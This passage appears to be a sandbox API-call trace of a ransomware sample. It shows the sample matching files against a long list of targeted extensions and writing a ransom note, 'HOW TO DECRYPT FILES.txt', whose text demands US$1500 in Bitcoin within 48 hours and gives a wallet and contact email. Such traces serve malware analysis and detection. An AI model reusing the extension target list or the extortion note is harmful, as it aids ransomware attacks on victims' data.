(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.html") returned 0 [0112.481] lstrlenA (lpString="*.html") returned 6 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.htm") returned 0 [0112.481] lstrlenA (lpString="*.htm") returned 5 [0112.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.xlsx") returned 0 [0112.481] lstrlenA (lpString="*.xlsx") returned 6 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.xls") returned 0 [0112.482] lstrlenA (lpString="*.xls") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mp4") returned 0 [0112.482] lstrlenA (lpString="*.mp4") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.ppt") returned 0 [0112.482] lstrlenA (lpString="*.ppt") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.pptx") returned 0 [0112.482] lstrlenA (lpString="*.pptx") returned 6 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.doc") returned 0 [0112.482] lstrlenA (lpString="*.doc") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.dot") returned 0 [0112.482] lstrlenA (lpString="*.dot") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.docx") returned 0 [0112.482] lstrlenA (lpString="*.docx") returned 6 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.7z") returned 0 [0112.482] lstrlenA (lpString="*.7z") returned 4 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.tar") returned 0 [0112.482] lstrlenA (lpString="*.tar") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.bz2") returned 0 [0112.482] lstrlenA (lpString="*.bz2") returned 5 [0112.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.gz") returned 0 [0112.482] lstrlenA (lpString="*.gz") returned 4 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mkv") returned 0 [0112.483] lstrlenA (lpString="*.mkv") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.eml") returned 0 [0112.483] lstrlenA (lpString="*.eml") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.msg") returned 0 [0112.483] lstrlenA (lpString="*.msg") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.edb") returned 0 [0112.483] lstrlenA (lpString="*.edb") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.accdb") returned 0 [0112.483] lstrlenA (lpString="*.accdb") returned 7 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.odb") returned 0 [0112.483] lstrlenA (lpString="*.odb") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.java") returned 0 [0112.483] lstrlenA (lpString="*.java") returned 6 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.asm") returned 0 [0112.483] lstrlenA (lpString="*.asm") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.pfx") returned 0 [0112.483] lstrlenA (lpString="*.pfx") returned 5 [0112.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.pem") returned 0 [0112.484] lstrlenA (lpString="*.pem") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.p12") returned 0 [0112.484] lstrlenA (lpString="*.p12") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.gpg") returned 0 [0112.484] lstrlenA (lpString="*.gpg") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.vsd") returned 0 [0112.484] lstrlenA (lpString="*.vsd") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.odg") returned 0 [0112.484] lstrlenA (lpString="*.odg") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.raw") returned 0 [0112.484] lstrlenA (lpString="*.raw") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.nef") returned 0 [0112.484] lstrlenA (lpString="*.nef") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.svg") returned 0 [0112.484] lstrlenA (lpString="*.svg") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.psd") returned 0 [0112.484] lstrlenA (lpString="*.psd") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.vmx") returned 0 [0112.484] lstrlenA (lpString="*.vmx") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.vmdk") returned 0 [0112.484] lstrlenA (lpString="*.vmdk") returned 6 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.vdi") returned 0 [0112.484] lstrlenA (lpString="*.vdi") returned 5 [0112.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.lay6") returned 0 [0112.485] lstrlenA (lpString="*.lay6") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mpeg") returned 0 [0112.485] lstrlenA (lpString="*.mpeg") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.djvu") returned 0 [0112.485] lstrlenA (lpString="*.djvu") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.tiff") returned 0 [0112.485] lstrlenA (lpString="*.tiff") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.backup") returned 0 [0112.485] lstrlenA (lpString="*.backup") returned 8 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.pdf") returned 0 [0112.485] lstrlenA (lpString="*.pdf") returned 5 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.cert") returned 0 [0112.485] lstrlenA (lpString="*.cert") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.docm") returned 0 [0112.485] lstrlenA (lpString="*.docm") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.xlsm") returned 0 [0112.485] lstrlenA (lpString="*.xlsm") returned 6 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.dwg") returned 0 [0112.485] lstrlenA (lpString="*.dwg") returned 5 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.nd") returned 0 [0112.485] lstrlenA (lpString="*.nd") returned 4 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.tlg") returned 0 [0112.485] lstrlenA (lpString="*.tlg") returned 5 [0112.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.lgb") returned 0 [0112.485] lstrlenA (lpString="*.lgb") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mov") returned 0 [0112.486] lstrlenA (lpString="*.mov") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.xdw") returned 0 [0112.486] lstrlenA (lpString="*.xdw") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.ods") returned 0 [0112.486] lstrlenA (lpString="*.ods") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.wav") returned 0 [0112.486] lstrlenA (lpString="*.wav") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.mp3") returned 0 [0112.486] lstrlenA (lpString="*.mp3") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.aiff") returned 0 [0112.486] lstrlenA (lpString="*.aiff") returned 6 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.flac") returned 0 [0112.486] lstrlenA (lpString="*.flac") returned 6 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.m4a") returned 0 [0112.486] lstrlenA (lpString="*.m4a") returned 5 [0112.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity\\84467aa24019da88d4aece177e51a223\\System.Data.Entity.ni.dll", pszSpec="*.csv") returned 0 [0112.486] lstrlenA (lpString="*.csv") returned 5 [0112.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x154c127b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x154c127b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x15617ede, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd1f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.486] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.486] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1582d221, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1582d221, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1582d221, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="84467aa24019da88d4aece177e51a223", cAlternateFileName="84467A~1")) returned 0 [0112.486] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.487] lstrcmpA (lpString1=".", lpString2="System.Data.Entity.#") returned -1 [0112.487] lstrcmpA (lpString1="..", lpString2="System.Data.Entity.#") returned -1 [0112.487] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.487] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.Entity.#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#" [0112.487] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#") returned 67 [0112.487] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x168d6c40, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x168d6c40, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x168d6c40, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.488] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.489] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.490] lstrcmpA (lpString1=".", lpString2="8f1dcb9771b151969c5afdae76376d5c") returned -1 [0112.490] lstrcmpA (lpString1="..", lpString2="8f1dcb9771b151969c5afdae76376d5c") returned -1 [0112.490] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\*.*") returned="*.*" [0112.490] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\", lpString2="8f1dcb9771b151969c5afdae76376d5c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c" [0112.490] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c") returned 100 [0112.490] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x168d6c40, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x168d6c40, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x168d6c40, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.491] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.491] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.491] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.491] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0112.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0112.491] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0112.491] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\*.*") returned="*.*" [0112.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\" [0112.491] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\") returned="" [0112.491] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\HOW TO DECRYPT FILES.txt" [0112.491] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.entity.#\\8f1dcb9771b151969c5afdae76376d5c\\how to decrypt files.txt")) returned 0xffffffff [0112.491] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.entity.#\\8f1dcb9771b151969c5afdae76376d5c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.492] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.493] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.494] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.494] CloseHandle (hObject=0x90) returned 1 [0112.494] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\", lpString2="System.Data.Entity.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll" [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.494] lstrlenA (lpString="*.ems") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.db") returned 0 [0112.494] lstrlenA (lpString="*.db") returned 4 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.dbf") returned 0 [0112.494] lstrlenA (lpString="*.dbf") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.myox") returned 0 [0112.494] lstrlenA (lpString="*.myox") returned 6 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.myo") returned 0 [0112.494] lstrlenA (lpString="*.myo") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbw") returned 0 [0112.494] lstrlenA (lpString="*.qbw") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbb") returned 0 [0112.494] lstrlenA (lpString="*.qbb") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbm") returned 0 [0112.494] lstrlenA (lpString="*.qbm") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbo") returned 0 [0112.494] lstrlenA (lpString="*.qbo") returned 5 [0112.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbx") returned 0 [0112.495] lstrlenA (lpString="*.qbx") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qba") returned 0 [0112.495] lstrlenA (lpString="*.qba") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qby") returned 0 [0112.495] lstrlenA (lpString="*.qby") returned 5 [0112.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Entity.#\\8f1dcb9771b151969c5afdae76376d5c\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbj") returned 0 [0112.495] lstrlenA (lpString="*.qbj") returned 5 [0112.495] PathMatchSpecA 